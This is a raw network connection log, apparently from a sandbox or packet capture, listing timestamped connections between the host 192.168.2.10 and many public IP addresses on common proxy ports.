Mar 11, 2024 16:39:44.547842026 CET	50824	999	192.168.2.10	38.56.23.33
Mar 11, 2024 16:39:44.547883987 CET	50825	18129	192.168.2.10	67.43.236.20
Mar 11, 2024 16:39:44.548197031 CET	50826	3629	192.168.2.10	177.86.64.1
Mar 11, 2024 16:39:44.548841953 CET	50828	8080	192.168.2.10	183.89.79.25
Mar 11, 2024 16:39:44.548855066 CET	5529	50559	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:44.548871994 CET	50827	4145	192.168.2.10	72.210.221.197
Mar 11, 2024 16:39:44.549154997 CET	50829	1080	192.168.2.10	176.115.79.195
Mar 11, 2024 16:39:44.550055027 CET	50830	4145	192.168.2.10	174.77.111.197
Mar 11, 2024 16:39:44.550056934 CET	50831	8090	192.168.2.10	89.230.92.9
Mar 11, 2024 16:39:44.550107002 CET	50832	3128	192.168.2.10	5.34.201.244
Mar 11, 2024 16:39:44.550435066 CET	50833	80	192.168.2.10	104.16.241.204
Mar 11, 2024 16:39:44.551150084 CET	50834	999	192.168.2.10	190.217.7.8
Mar 11, 2024 16:39:44.551151037 CET	50836	53343	192.168.2.10	66.23.233.210
Mar 11, 2024 16:39:44.551151991 CET	50835	8080	192.168.2.10	187.228.145.138
Mar 11, 2024 16:39:44.551294088 CET	50021	3933	192.168.2.10	67.43.228.253
Mar 11, 2024 16:39:44.551296949 CET	49725	9375	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:44.551310062 CET	49843	999	192.168.2.10	181.65.169.37
Mar 11, 2024 16:39:44.551312923 CET	49842	18877	192.168.2.10	178.128.207.96
Mar 11, 2024 16:39:44.551342010 CET	49945	4145	192.168.2.10	36.90.61.224
Mar 11, 2024 16:39:44.551904917 CET	60651	50601	162.241.6.97	192.168.2.10
Mar 11, 2024 16:39:44.551935911 CET	50837	26693	192.168.2.10	67.43.236.20
Mar 11, 2024 16:39:44.552438974 CET	50839	80	192.168.2.10	52.67.10.183
Mar 11, 2024 16:39:44.552465916 CET	50838	80	192.168.2.10	50.174.145.14
Mar 11, 2024 16:39:44.553167105 CET	50840	999	192.168.2.10	190.211.250.131
Mar 11, 2024 16:39:44.553406954 CET	3128	50468	18.135.211.182	192.168.2.10
Mar 11, 2024 16:39:44.553426981 CET	50841	54393	192.168.2.10	45.81.232.17
Mar 11, 2024 16:39:44.553541899 CET	50468	3128	192.168.2.10	18.135.211.182
Mar 11, 2024 16:39:44.553632975 CET	50468	3128	192.168.2.10	18.135.211.182
Mar 11, 2024 16:39:44.554270983 CET	50842	46097	192.168.2.10	162.241.46.40
Mar 11, 2024 16:39:44.554404974 CET	50843	8080	192.168.2.10	112.78.170.250
Mar 11, 2024 16:39:44.554975986 CET	8080	49782	42.200.196.208	192.168.2.10
Mar 11, 2024 16:39:44.555608034 CET	50846	84	192.168.2.10	103.255.145.62
Mar 11, 2024 16:39:44.555661917 CET	50844	28723	192.168.2.10	67.43.227.227
Mar 11, 2024 16:39:44.555664062 CET	50845	1080	192.168.2.10	188.255.245.205
Mar 11, 2024 16:39:44.556233883 CET	50847	9090	192.168.2.10	38.10.69.109
Mar 11, 2024 16:39:44.556566954 CET	8080	50382	91.148.127.162	192.168.2.10
Mar 11, 2024 16:39:44.556592941 CET	50848	8080	192.168.2.10	46.105.35.193
Mar 11, 2024 16:39:44.557070017 CET	50382	8080	192.168.2.10	91.148.127.162
Mar 11, 2024 16:39:44.557765007 CET	1080	50371	202.162.219.10	192.168.2.10
Mar 11, 2024 16:39:44.558037996 CET	50371	1080	192.168.2.10	202.162.219.10
Mar 11, 2024 16:39:44.560702085 CET	4145	50397	103.58.16.57	192.168.2.10
Mar 11, 2024 16:39:44.562596083 CET	8888	50413	120.79.101.0	192.168.2.10
Mar 11, 2024 16:39:44.562882900 CET	50413	8888	192.168.2.10	120.79.101.0
Mar 11, 2024 16:39:44.564050913 CET	80	50478	50.217.226.45	192.168.2.10
Mar 11, 2024 16:39:44.566926956 CET	50017	80	192.168.2.10	50.168.210.239
Mar 11, 2024 16:39:44.566929102 CET	49844	8080	192.168.2.10	85.117.60.162
Mar 11, 2024 16:39:44.566929102 CET	49848	31337	192.168.2.10	186.251.255.73
Mar 11, 2024 16:39:44.566934109 CET	49838	60781	192.168.2.10	132.148.129.254
Mar 11, 2024 16:39:44.566951990 CET	49849	4153	192.168.2.10	190.2.104.201
Mar 11, 2024 16:39:44.566958904 CET	49846	5005	192.168.2.10	1.194.236.229
Mar 11, 2024 16:39:44.566960096 CET	49840	8089	192.168.2.10	123.182.58.221
Mar 11, 2024 16:39:44.566958904 CET	49854	8080	192.168.2.10	176.88.166.218
Mar 11, 2024 16:39:44.567053080 CET	49852	8080	192.168.2.10	181.212.45.228
Mar 11, 2024 16:39:44.567121029 CET	49855	83	192.168.2.10	103.168.164.94
Mar 11, 2024 16:39:44.567879915 CET	83	50336	103.48.68.101	192.168.2.10
Mar 11, 2024 16:39:44.567929983 CET	5430	50064	202.179.184.44	192.168.2.10
Mar 11, 2024 16:39:44.567950964 CET	50336	83	192.168.2.10	103.48.68.101
Mar 11, 2024 16:39:44.568270922 CET	50064	5430	192.168.2.10	202.179.184.44
Mar 11, 2024 16:39:44.568969965 CET	4145	50538	184.181.217.206	192.168.2.10
Mar 11, 2024 16:39:44.570080042 CET	3128	50305	38.54.116.9	192.168.2.10
Mar 11, 2024 16:39:44.570228100 CET	50538	4145	192.168.2.10	184.181.217.206
Mar 11, 2024 16:39:44.570247889 CET	50305	3128	192.168.2.10	38.54.116.9
Mar 11, 2024 16:39:44.571116924 CET	3629	50407	91.220.69.43	192.168.2.10
Mar 11, 2024 16:39:44.571129084 CET	8000	49882	178.128.156.219	192.168.2.10
Mar 11, 2024 16:39:44.571834087 CET	80	49918	50.175.212.74	192.168.2.10
Mar 11, 2024 16:39:44.573227882 CET	80	50402	36.92.193.189	192.168.2.10
Mar 11, 2024 16:39:44.573358059 CET	80	50670	172.67.181.97	192.168.2.10
Mar 11, 2024 16:39:44.573501110 CET	50670	80	192.168.2.10	172.67.181.97
Mar 11, 2024 16:39:44.573784113 CET	80	50440	172.67.14.237	192.168.2.10
Mar 11, 2024 16:39:44.573833942 CET	80	50440	172.67.14.237	192.168.2.10
Mar 11, 2024 16:39:44.574059963 CET	80	50442	185.238.228.240	192.168.2.10
Mar 11, 2024 16:39:44.574230909 CET	80	50442	185.238.228.240	192.168.2.10
Mar 11, 2024 16:39:44.574244022 CET	80	50483	3.127.62.252	192.168.2.10
Mar 11, 2024 16:39:44.574305058 CET	80	50449	172.67.209.12	192.168.2.10
Mar 11, 2024 16:39:44.574398994 CET	80	50442	185.238.228.240	192.168.2.10
Mar 11, 2024 16:39:44.574399948 CET	50483	80	192.168.2.10	3.127.62.252
Mar 11, 2024 16:39:44.574438095 CET	80	50449	172.67.209.12	192.168.2.10
Mar 11, 2024 16:39:44.574476957 CET	50442	80	192.168.2.10	185.238.228.240
Mar 11, 2024 16:39:44.574707985 CET	80	50282	104.17.166.210	192.168.2.10
Mar 11, 2024 16:39:44.574737072 CET	80	50449	172.67.209.12	192.168.2.10
Mar 11, 2024 16:39:44.574810982 CET	50449	80	192.168.2.10	172.67.209.12
Mar 11, 2024 16:39:44.574832916 CET	80	50453	104.20.103.68	192.168.2.10
Mar 11, 2024 16:39:44.574878931 CET	80	50464	104.16.105.142	192.168.2.10
Mar 11, 2024 16:39:44.574947119 CET	80	50453	104.20.103.68	192.168.2.10
Mar 11, 2024 16:39:44.574958086 CET	80	50464	104.16.105.142	192.168.2.10
Mar 11, 2024 16:39:44.575377941 CET	80	50453	104.20.103.68	192.168.2.10
Mar 11, 2024 16:39:44.575426102 CET	3128	50204	13.208.168.179	192.168.2.10
Mar 11, 2024 16:39:44.575449944 CET	50453	80	192.168.2.10	104.20.103.68
Mar 11, 2024 16:39:44.575963020 CET	80	50464	104.16.105.142	192.168.2.10
Mar 11, 2024 16:39:44.576576948 CET	50464	80	192.168.2.10	104.16.105.142
Mar 11, 2024 16:39:44.576807022 CET	80	50440	172.67.14.237	192.168.2.10
Mar 11, 2024 16:39:44.576977968 CET	50440	80	192.168.2.10	172.67.14.237
Mar 11, 2024 16:39:44.577506065 CET	80	50473	104.24.35.152	192.168.2.10
Mar 11, 2024 16:39:44.577528954 CET	80	50473	104.24.35.152	192.168.2.10
Mar 11, 2024 16:39:44.577529907 CET	50849	8080	192.168.2.10	103.69.151.189
Mar 11, 2024 16:39:44.577548027 CET	50850	80	192.168.2.10	34.75.202.63
Mar 11, 2024 16:39:44.577826977 CET	50305	3128	192.168.2.10	38.54.116.9
Mar 11, 2024 16:39:44.577951908 CET	50851	60775	192.168.2.10	51.89.173.40
Mar 11, 2024 16:39:44.578032017 CET	50440	80	192.168.2.10	172.67.14.237
Mar 11, 2024 16:39:44.578032970 CET	50064	5430	192.168.2.10	202.179.184.44
Mar 11, 2024 16:39:44.578033924 CET	50538	4145	192.168.2.10	184.181.217.206
Mar 11, 2024 16:39:44.578443050 CET	50336	83	192.168.2.10	103.48.68.101
Mar 11, 2024 16:39:44.578449965 CET	50670	80	192.168.2.10	172.67.181.97
Mar 11, 2024 16:39:44.578592062 CET	5678	49749	122.152.53.25	192.168.2.10
Mar 11, 2024 16:39:44.578603029 CET	50852	5430	192.168.2.10	202.179.184.44
Mar 11, 2024 16:39:44.578623056 CET	50371	1080	192.168.2.10	202.162.219.10
Mar 11, 2024 16:39:44.578648090 CET	50442	80	192.168.2.10	185.238.228.240
Mar 11, 2024 16:39:44.578896046 CET	50453	80	192.168.2.10	104.20.103.68
Mar 11, 2024 16:39:44.578939915 CET	80	50473	104.24.35.152	192.168.2.10
Mar 11, 2024 16:39:44.578958988 CET	50483	80	192.168.2.10	3.127.62.252
Mar 11, 2024 16:39:44.578962088 CET	50449	80	192.168.2.10	172.67.209.12
Mar 11, 2024 16:39:44.579075098 CET	50473	80	192.168.2.10	104.24.35.152
Mar 11, 2024 16:39:44.579652071 CET	50464	80	192.168.2.10	104.16.105.142
Mar 11, 2024 16:39:44.579653025 CET	50382	8080	192.168.2.10	91.148.127.162
Mar 11, 2024 16:39:44.579703093 CET	50413	8888	192.168.2.10	120.79.101.0
Mar 11, 2024 16:39:44.579706907 CET	50473	80	192.168.2.10	104.24.35.152
Mar 11, 2024 16:39:44.579715967 CET	80	50684	104.25.42.178	192.168.2.10
Mar 11, 2024 16:39:44.579758883 CET	4145	50276	184.170.249.65	192.168.2.10
Mar 11, 2024 16:39:44.579864025 CET	4145	50276	184.170.249.65	192.168.2.10
Mar 11, 2024 16:39:44.580188990 CET	50684	80	192.168.2.10	104.25.42.178
Mar 11, 2024 16:39:44.580276012 CET	50684	80	192.168.2.10	104.25.42.178
Mar 11, 2024 16:39:44.580607891 CET	50853	4145	192.168.2.10	184.170.249.65
Mar 11, 2024 16:39:44.580921888 CET	50854	21355	192.168.2.10	67.213.212.36
Mar 11, 2024 16:39:44.581214905 CET	50855	999	192.168.2.10	38.156.233.77
Mar 11, 2024 16:39:44.581370115 CET	50856	8080	192.168.2.10	177.128.212.190
Mar 11, 2024 16:39:44.582372904 CET	50859	1080	192.168.2.10	167.249.254.70
Mar 11, 2024 16:39:44.582398891 CET	50857	4145	192.168.2.10	82.137.244.59
Mar 11, 2024 16:39:44.582402945 CET	50858	8080	192.168.2.10	125.209.88.46
Mar 11, 2024 16:39:44.582530022 CET	50003	28695	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:44.582556963 CET	50047	80	192.168.2.10	222.255.238.159
Mar 11, 2024 16:39:44.582561016 CET	49868	8181	192.168.2.10	103.78.96.146
Mar 11, 2024 16:39:44.582561016 CET	49857	999	192.168.2.10	179.1.192.27
Mar 11, 2024 16:39:44.582561970 CET	49930	80	192.168.2.10	45.139.11.200
Mar 11, 2024 16:39:44.582561016 CET	49853	36694	192.168.2.10	51.75.126.150
Mar 11, 2024 16:39:44.582581043 CET	49858	51405	192.168.2.10	51.81.186.179
Mar 11, 2024 16:39:44.582581997 CET	49869	34144	192.168.2.10	51.75.126.150
Mar 11, 2024 16:39:44.582581997 CET	49861	64120	192.168.2.10	161.97.163.52
Mar 11, 2024 16:39:44.582586050 CET	49862	8080	192.168.2.10	105.174.40.54
Mar 11, 2024 16:39:44.582597017 CET	49863	999	192.168.2.10	45.190.78.50
Mar 11, 2024 16:39:44.582597971 CET	49864	27234	192.168.2.10	168.228.36.22
Mar 11, 2024 16:39:44.582597017 CET	49867	17045	192.168.2.10	88.202.230.103
Mar 11, 2024 16:39:44.583213091 CET	5430	50064	202.179.184.44	192.168.2.10
Mar 11, 2024 16:39:44.583250046 CET	50860	8080	192.168.2.10	188.132.222.167
Mar 11, 2024 16:39:44.583323002 CET	50861	5931	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:44.583753109 CET	3128	50204	13.208.168.179	192.168.2.10
Mar 11, 2024 16:39:44.583781958 CET	31247	50353	202.40.181.220	192.168.2.10
Mar 11, 2024 16:39:44.583946943 CET	50862	3128	192.168.2.10	5.189.158.162
Mar 11, 2024 16:39:44.583997965 CET	50353	31247	192.168.2.10	202.40.181.220
Mar 11, 2024 16:39:44.584455967 CET	50353	31247	192.168.2.10	202.40.181.220
Mar 11, 2024 16:39:44.584460020 CET	50204	3128	192.168.2.10	13.208.168.179
Mar 11, 2024 16:39:44.584966898 CET	50864	4145	192.168.2.10	177.125.206.40
Mar 11, 2024 16:39:44.584991932 CET	50863	80	192.168.2.10	174.126.217.110
Mar 11, 2024 16:39:44.585747004 CET	50865	80	192.168.2.10	89.36.114.38
Mar 11, 2024 16:39:44.586051941 CET	50866	998	192.168.2.10	181.78.85.45
Mar 11, 2024 16:39:44.586225986 CET	22500	50301	51.79.87.144	192.168.2.10
Mar 11, 2024 16:39:44.586345911 CET	22500	50301	51.79.87.144	192.168.2.10
Mar 11, 2024 16:39:44.586658001 CET	50867	8000	192.168.2.10	128.199.184.169
Mar 11, 2024 16:39:44.587408066 CET	50868	22500	192.168.2.10	51.79.87.144
Mar 11, 2024 16:39:44.587408066 CET	50870	80	192.168.2.10	47.242.234.237
Mar 11, 2024 16:39:44.587421894 CET	50869	10049	192.168.2.10	67.43.227.227
Mar 11, 2024 16:39:44.588084936 CET	50872	8080	192.168.2.10	159.192.138.170
Mar 11, 2024 16:39:44.588135004 CET	50871	80	192.168.2.10	50.168.72.122
Mar 11, 2024 16:39:44.588476896 CET	80	49890	50.168.72.112	192.168.2.10
Mar 11, 2024 16:39:44.588776112 CET	50873	58851	192.168.2.10	85.25.177.53
Mar 11, 2024 16:39:44.589036942 CET	50874	9191	192.168.2.10	51.83.184.241
Mar 11, 2024 16:39:44.589807987 CET	50875	4145	192.168.2.10	101.109.251.42
Mar 11, 2024 16:39:44.589895964 CET	50876	8085	192.168.2.10	103.105.55.170
Mar 11, 2024 16:39:44.590558052 CET	5836	50461	185.158.248.95	192.168.2.10
Mar 11, 2024 16:39:44.590595961 CET	50877	8080	192.168.2.10	84.241.8.234
Mar 11, 2024 16:39:44.590596914 CET	50878	9000	192.168.2.10	122.116.150.2
Mar 11, 2024 16:39:44.590832949 CET	50879	9080	192.168.2.10	38.54.95.19
Mar 11, 2024 16:39:44.590948105 CET	50880	64742	192.168.2.10	72.167.221.157
Mar 11, 2024 16:39:44.592228889 CET	50881	8180	192.168.2.10	194.213.208.226
Mar 11, 2024 16:39:44.592228889 CET	50882	35158	192.168.2.10	103.245.205.33
Mar 11, 2024 16:39:44.592231035 CET	50883	80	192.168.2.10	50.174.145.12
Mar 11, 2024 16:39:44.592484951 CET	50884	8080	192.168.2.10	103.214.219.23
Mar 11, 2024 16:39:44.593255043 CET	50885	80	192.168.2.10	106.14.255.124
Mar 11, 2024 16:39:44.593347073 CET	50886	48678	192.168.2.10	180.131.242.221
Mar 11, 2024 16:39:44.593486071 CET	50887	5432	192.168.2.10	45.196.148.67
Mar 11, 2024 16:39:44.593609095 CET	80	50487	104.27.83.183	192.168.2.10
Mar 11, 2024 16:39:44.593650103 CET	80	50487	104.27.83.183	192.168.2.10
Mar 11, 2024 16:39:44.593930960 CET	50487	80	192.168.2.10	104.27.83.183
Mar 11, 2024 16:39:44.594139099 CET	80	50487	104.27.83.183	192.168.2.10
Mar 11, 2024 16:39:44.594393015 CET	50487	80	192.168.2.10	104.27.83.183
Mar 11, 2024 16:39:44.594446898 CET	50888	16795	192.168.2.10	162.144.121.232
Mar 11, 2024 16:39:44.595108032 CET	50890	999	192.168.2.10	45.191.75.186
Mar 11, 2024 16:39:44.595141888 CET	50889	999	192.168.2.10	179.43.94.238
Mar 11, 2024 16:39:44.595343113 CET	50891	6969	192.168.2.10	95.217.222.213
Mar 11, 2024 16:39:44.595369101 CET	80	50691	104.19.225.70	192.168.2.10
Mar 11, 2024 16:39:44.595560074 CET	50691	80	192.168.2.10	104.19.225.70
Mar 11, 2024 16:39:44.595644951 CET	50691	80	192.168.2.10	104.19.225.70
Mar 11, 2024 16:39:44.595748901 CET	8193	49929	211.222.252.187	192.168.2.10
Mar 11, 2024 16:39:44.596307039 CET	50892	34599	192.168.2.10	183.88.231.188
Mar 11, 2024 16:39:44.596313000 CET	50893	80	192.168.2.10	50.217.226.42
Mar 11, 2024 16:39:44.596790075 CET	50895	33383	192.168.2.10	128.199.221.91
Mar 11, 2024 16:39:44.596790075 CET	50894	8080	192.168.2.10	185.169.183.200
Mar 11, 2024 16:39:44.596822023 CET	4153	50446	179.109.193.228	192.168.2.10
Mar 11, 2024 16:39:44.597331047 CET	50896	16844	192.168.2.10	147.124.212.31
Mar 11, 2024 16:39:44.597726107 CET	50897	999	192.168.2.10	138.121.15.229
Mar 11, 2024 16:39:44.598170042 CET	49859	15430	192.168.2.10	92.205.110.118
Mar 11, 2024 16:39:44.598170042 CET	50033	26087	192.168.2.10	67.43.228.251
Mar 11, 2024 16:39:44.598186970 CET	49873	9990	192.168.2.10	103.234.26.163
Mar 11, 2024 16:39:44.598191023 CET	49889	3128	192.168.2.10	94.131.106.196
Mar 11, 2024 16:39:44.598191023 CET	49866	80	192.168.2.10	194.186.127.60
Mar 11, 2024 16:39:44.598191023 CET	49870	8080	192.168.2.10	87.76.1.251
Mar 11, 2024 16:39:44.598208904 CET	49872	3128	192.168.2.10	34.85.177.170
Mar 11, 2024 16:39:44.598227024 CET	49874	5678	192.168.2.10	1.15.62.12
Mar 11, 2024 16:39:44.598228931 CET	49990	37355	192.168.2.10	167.172.109.12
Mar 11, 2024 16:39:44.598318100 CET	49876	37847	192.168.2.10	51.75.126.150
Mar 11, 2024 16:39:44.598391056 CET	50898	3128	192.168.2.10	178.128.172.154
Mar 11, 2024 16:39:44.598603964 CET	50899	80	192.168.2.10	209.126.6.159
Mar 11, 2024 16:39:44.599493980 CET	50901	14462	192.168.2.10	185.129.250.183
Mar 11, 2024 16:39:44.600236893 CET	50900	33192	192.168.2.10	217.21.148.50
Mar 11, 2024 16:39:44.600472927 CET	50902	29796	192.168.2.10	54.36.122.16
Mar 11, 2024 16:39:44.601164103 CET	50903	64309	192.168.2.10	173.212.209.49
Mar 11, 2024 16:39:44.601164103 CET	50905	57144	192.168.2.10	49.12.126.53
Mar 11, 2024 16:39:44.601788998 CET	50904	22645	192.168.2.10	67.43.236.18
Mar 11, 2024 16:39:44.601826906 CET	50906	5020	192.168.2.10	202.164.209.69
Mar 11, 2024 16:39:44.601979971 CET	50907	8080	192.168.2.10	103.76.148.161
Mar 11, 2024 16:39:44.602109909 CET	50908	999	192.168.2.10	198.52.241.13
Mar 11, 2024 16:39:44.603172064 CET	50909	4153	192.168.2.10	82.147.153.6
Mar 11, 2024 16:39:44.603178024 CET	50910	12542	192.168.2.10	37.53.90.82
Mar 11, 2024 16:39:44.603178024 CET	50911	64384	192.168.2.10	195.154.43.221
Mar 11, 2024 16:39:44.603447914 CET	10801	50651	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:44.603970051 CET	8193	49929	211.222.252.187	192.168.2.10
Mar 11, 2024 16:39:44.604008913 CET	50913	999	192.168.2.10	200.24.130.138
Mar 11, 2024 16:39:44.604276896 CET	50912	80	192.168.2.10	47.93.121.200
Mar 11, 2024 16:39:44.604551077 CET	50914	26777	192.168.2.10	185.129.250.183
Mar 11, 2024 16:39:44.604717970 CET	50915	8080	192.168.2.10	103.125.240.237
Mar 11, 2024 16:39:44.604934931 CET	29197	50663	72.10.160.90	192.168.2.10
Mar 11, 2024 16:39:44.605721951 CET	80	50717	104.22.50.220	192.168.2.10
Mar 11, 2024 16:39:44.605756044 CET	50917	8080	192.168.2.10	47.88.3.19
Mar 11, 2024 16:39:44.605756044 CET	50916	30770	192.168.2.10	108.181.132.116
Mar 11, 2024 16:39:44.605977058 CET	50717	80	192.168.2.10	104.22.50.220
Mar 11, 2024 16:39:44.606071949 CET	50717	80	192.168.2.10	104.22.50.220
Mar 11, 2024 16:39:44.606195927 CET	4153	50471	177.72.82.47	192.168.2.10
Mar 11, 2024 16:39:44.606435061 CET	4145	50704	72.210.221.223	192.168.2.10
Mar 11, 2024 16:39:44.606826067 CET	50918	80	192.168.2.10	39.108.227.108
Mar 11, 2024 16:39:44.606935978 CET	50919	3230	192.168.2.10	104.238.111.107
Mar 11, 2024 16:39:44.606939077 CET	50704	4145	192.168.2.10	72.210.221.223
Mar 11, 2024 16:39:44.607022047 CET	1337	50177	185.217.136.67	192.168.2.10
Mar 11, 2024 16:39:44.607337952 CET	8193	50506	211.222.252.187	192.168.2.10
Mar 11, 2024 16:39:44.607496977 CET	15303	50620	184.178.172.5	192.168.2.10
Mar 11, 2024 16:39:44.607625961 CET	50506	8193	192.168.2.10	211.222.252.187
Mar 11, 2024 16:39:44.607737064 CET	3128	50424	188.56.223.85	192.168.2.10
Mar 11, 2024 16:39:44.607820034 CET	50620	15303	192.168.2.10	184.178.172.5
Mar 11, 2024 16:39:44.607844114 CET	50506	8193	192.168.2.10	211.222.252.187
Mar 11, 2024 16:39:44.608040094 CET	4145	50707	72.195.34.41	192.168.2.10
Mar 11, 2024 16:39:44.608063936 CET	50920	32930	192.168.2.10	213.136.79.177
Mar 11, 2024 16:39:44.608203888 CET	50921	80	192.168.2.10	162.159.241.5
Mar 11, 2024 16:39:44.608207941 CET	50707	4145	192.168.2.10	72.195.34.41
Mar 11, 2024 16:39:44.608225107 CET	50620	15303	192.168.2.10	184.178.172.5
Mar 11, 2024 16:39:44.609061003 CET	50923	1080	192.168.2.10	41.223.108.13
Mar 11, 2024 16:39:44.609420061 CET	50924	8080	192.168.2.10	201.20.94.93
Mar 11, 2024 16:39:44.609544992 CET	50922	4145	192.168.2.10	45.126.169.137
Mar 11, 2024 16:39:44.609607935 CET	50925	7777	192.168.2.10	18.195.164.53
Mar 11, 2024 16:39:44.610200882 CET	50926	999	192.168.2.10	181.78.19.249
Mar 11, 2024 16:39:44.610286951 CET	80	50193	46.35.9.110	192.168.2.10
Mar 11, 2024 16:39:44.610311031 CET	50927	8080	192.168.2.10	160.3.168.70
Mar 11, 2024 16:39:44.610968113 CET	50928	8080	192.168.2.10	103.75.96.70
Mar 11, 2024 16:39:44.610969067 CET	50929	8080	192.168.2.10	103.49.114.195
Mar 11, 2024 16:39:44.610970020 CET	50930	57495	192.168.2.10	162.241.53.72
Mar 11, 2024 16:39:44.611498117 CET	50931	20001	192.168.2.10	67.43.236.20
Mar 11, 2024 16:39:44.611752987 CET	50932	8080	192.168.2.10	96.80.235.1
Mar 11, 2024 16:39:44.612337112 CET	8880	50481	95.66.138.21	192.168.2.10
Mar 11, 2024 16:39:44.612471104 CET	50933	20317	192.168.2.10	132.148.128.88
Mar 11, 2024 16:39:44.612471104 CET	50934	8080	192.168.2.10	78.142.234.35
Mar 11, 2024 16:39:44.612483978 CET	4145	50403	103.66.233.225	192.168.2.10
Mar 11, 2024 16:39:44.612530947 CET	50481	8880	192.168.2.10	95.66.138.21
Mar 11, 2024 16:39:44.612560034 CET	3128	49770	46.245.77.52	192.168.2.10
Mar 11, 2024 16:39:44.612617970 CET	80	50729	172.67.127.188	192.168.2.10
Mar 11, 2024 16:39:44.612694025 CET	50729	80	192.168.2.10	172.67.127.188
Mar 11, 2024 16:39:44.612926960 CET	50729	80	192.168.2.10	172.67.127.188
Mar 11, 2024 16:39:44.612967968 CET	50481	8880	192.168.2.10	95.66.138.21
Mar 11, 2024 16:39:44.613337994 CET	50935	80	192.168.2.10	50.207.199.85
Mar 11, 2024 16:39:44.613842964 CET	50936	36129	192.168.2.10	162.214.225.223
Mar 11, 2024 16:39:44.613850117 CET	50937	8080	192.168.2.10	203.189.150.48
Mar 11, 2024 16:39:44.613982916 CET	80	50582	50.173.140.148	192.168.2.10
Mar 11, 2024 16:39:44.614036083 CET	80	50303	104.18.161.122	192.168.2.10
Mar 11, 2024 16:39:44.614063025 CET	49757	22881	192.168.2.10	208.109.14.49
Mar 11, 2024 16:39:44.614080906 CET	49877	80	192.168.2.10	146.59.202.70
Mar 11, 2024 16:39:44.614085913 CET	49886	31337	192.168.2.10	186.251.255.105
Mar 11, 2024 16:39:44.614087105 CET	49881	32650	192.168.2.10	41.217.220.214
Mar 11, 2024 16:39:44.614131927 CET	49884	1080	192.168.2.10	89.187.216.58
Mar 11, 2024 16:39:44.614228964 CET	49976	8080	192.168.2.10	92.118.132.125
Mar 11, 2024 16:39:44.614233017 CET	49892	53783	192.168.2.10	162.241.46.69
Mar 11, 2024 16:39:44.614289999 CET	49885	16379	192.168.2.10	51.15.254.129
Mar 11, 2024 16:39:44.614602089 CET	80	50511	173.245.49.27	192.168.2.10
Mar 11, 2024 16:39:44.614741087 CET	80	50511	173.245.49.27	192.168.2.10
Mar 11, 2024 16:39:44.615031004 CET	80	50511	173.245.49.27	192.168.2.10
Mar 11, 2024 16:39:44.615073919 CET	50938	8123	192.168.2.10	119.81.189.194
Mar 11, 2024 16:39:44.615174055 CET	50511	80	192.168.2.10	173.245.49.27
Mar 11, 2024 16:39:44.615324974 CET	31908	49789	64.227.108.25	192.168.2.10
Mar 11, 2024 16:39:44.615331888 CET	50511	80	192.168.2.10	173.245.49.27
Mar 11, 2024 16:39:44.615514994 CET	49789	31908	192.168.2.10	64.227.108.25
Mar 11, 2024 16:39:44.616163969 CET	50939	46656	192.168.2.10	38.127.179.126
Mar 11, 2024 16:39:44.616241932 CET	49789	31908	192.168.2.10	64.227.108.25
Mar 11, 2024 16:39:44.616245985 CET	50940	5040	192.168.2.10	45.11.95.165
Mar 11, 2024 16:39:44.616460085 CET	50941	83	192.168.2.10	103.47.175.161
Mar 11, 2024 16:39:44.616466045 CET	80	50589	50.222.245.41	192.168.2.10
Mar 11, 2024 16:39:44.617166996 CET	50942	80	192.168.2.10	83.142.161.30
Mar 11, 2024 16:39:44.617167950 CET	50943	5566	192.168.2.10	111.221.3.86
Mar 11, 2024 16:39:44.617192030 CET	80	50739	172.67.182.107	192.168.2.10
Mar 11, 2024 16:39:44.618031025 CET	50945	80	192.168.2.10	174.138.114.226
Mar 11, 2024 16:39:44.618071079 CET	50944	8080	192.168.2.10	85.113.55.123
Mar 11, 2024 16:39:44.618213892 CET	50739	80	192.168.2.10	172.67.182.107
Mar 11, 2024 16:39:44.618333101 CET	50739	80	192.168.2.10	172.67.182.107
Mar 11, 2024 16:39:44.618623972 CET	15673	50393	198.23.229.203	192.168.2.10
Mar 11, 2024 16:39:44.618634939 CET	50946	21049	192.168.2.10	128.199.196.31
Mar 11, 2024 16:39:44.618659973 CET	4145	50409	168.205.217.13	192.168.2.10
Mar 11, 2024 16:39:44.618730068 CET	15673	50393	198.23.229.203	192.168.2.10
Mar 11, 2024 16:39:44.618942022 CET	14282	50672	192.252.208.70	192.168.2.10
Mar 11, 2024 16:39:44.619426012 CET	50947	4444	192.168.2.10	128.199.116.34
Mar 11, 2024 16:39:44.619862080 CET	50948	80	192.168.2.10	103.197.71.7
Mar 11, 2024 16:39:44.620223999 CET	50949	15673	192.168.2.10	198.23.229.203
Mar 11, 2024 16:39:44.620280027 CET	5775	49915	72.10.160.92	192.168.2.10
Mar 11, 2024 16:39:44.620784998 CET	50950	53281	192.168.2.10	179.60.240.69
Mar 11, 2024 16:39:44.620866060 CET	50951	9012	192.168.2.10	103.148.192.82
Mar 11, 2024 16:39:44.621903896 CET	50952	34411	192.168.2.10	212.110.188.195
Mar 11, 2024 16:39:44.622076988 CET	50953	8080	192.168.2.10	103.227.186.13
Mar 11, 2024 16:39:44.622899055 CET	50954	48963	192.168.2.10	207.180.234.220
Mar 11, 2024 16:39:44.623821020 CET	50955	58714	192.168.2.10	185.18.198.163
Mar 11, 2024 16:39:44.623945951 CET	50956	80	192.168.2.10	50.168.72.116
Mar 11, 2024 16:39:44.623964071 CET	50957	80	192.168.2.10	50.169.118.209
Mar 11, 2024 16:39:44.624011993 CET	49871	4444	192.168.2.10	193.143.1.201
Mar 11, 2024 16:39:44.624011993 CET	50958	3128	192.168.2.10	185.174.137.30
Mar 11, 2024 16:39:44.624017954 CET	49888	8080	192.168.2.10	103.147.247.79
Mar 11, 2024 16:39:44.624233961 CET	50959	3128	192.168.2.10	161.34.67.83
Mar 11, 2024 16:39:44.625613928 CET	80	50550	198.44.255.3	192.168.2.10
Mar 11, 2024 16:39:44.625926971 CET	50550	80	192.168.2.10	198.44.255.3
Mar 11, 2024 16:39:44.625955105 CET	50550	80	192.168.2.10	198.44.255.3
Mar 11, 2024 16:39:44.629457951 CET	49893	8080	192.168.2.10	95.47.149.8
Mar 11, 2024 16:39:44.629458904 CET	49963	13623	192.168.2.10	36.255.104.1
Mar 11, 2024 16:39:44.629827023 CET	999	50626	190.97.238.94	192.168.2.10
Mar 11, 2024 16:39:44.630856991 CET	50961	7237	192.168.2.10	195.248.243.149
Mar 11, 2024 16:39:44.630862951 CET	50960	80	192.168.2.10	104.16.104.12
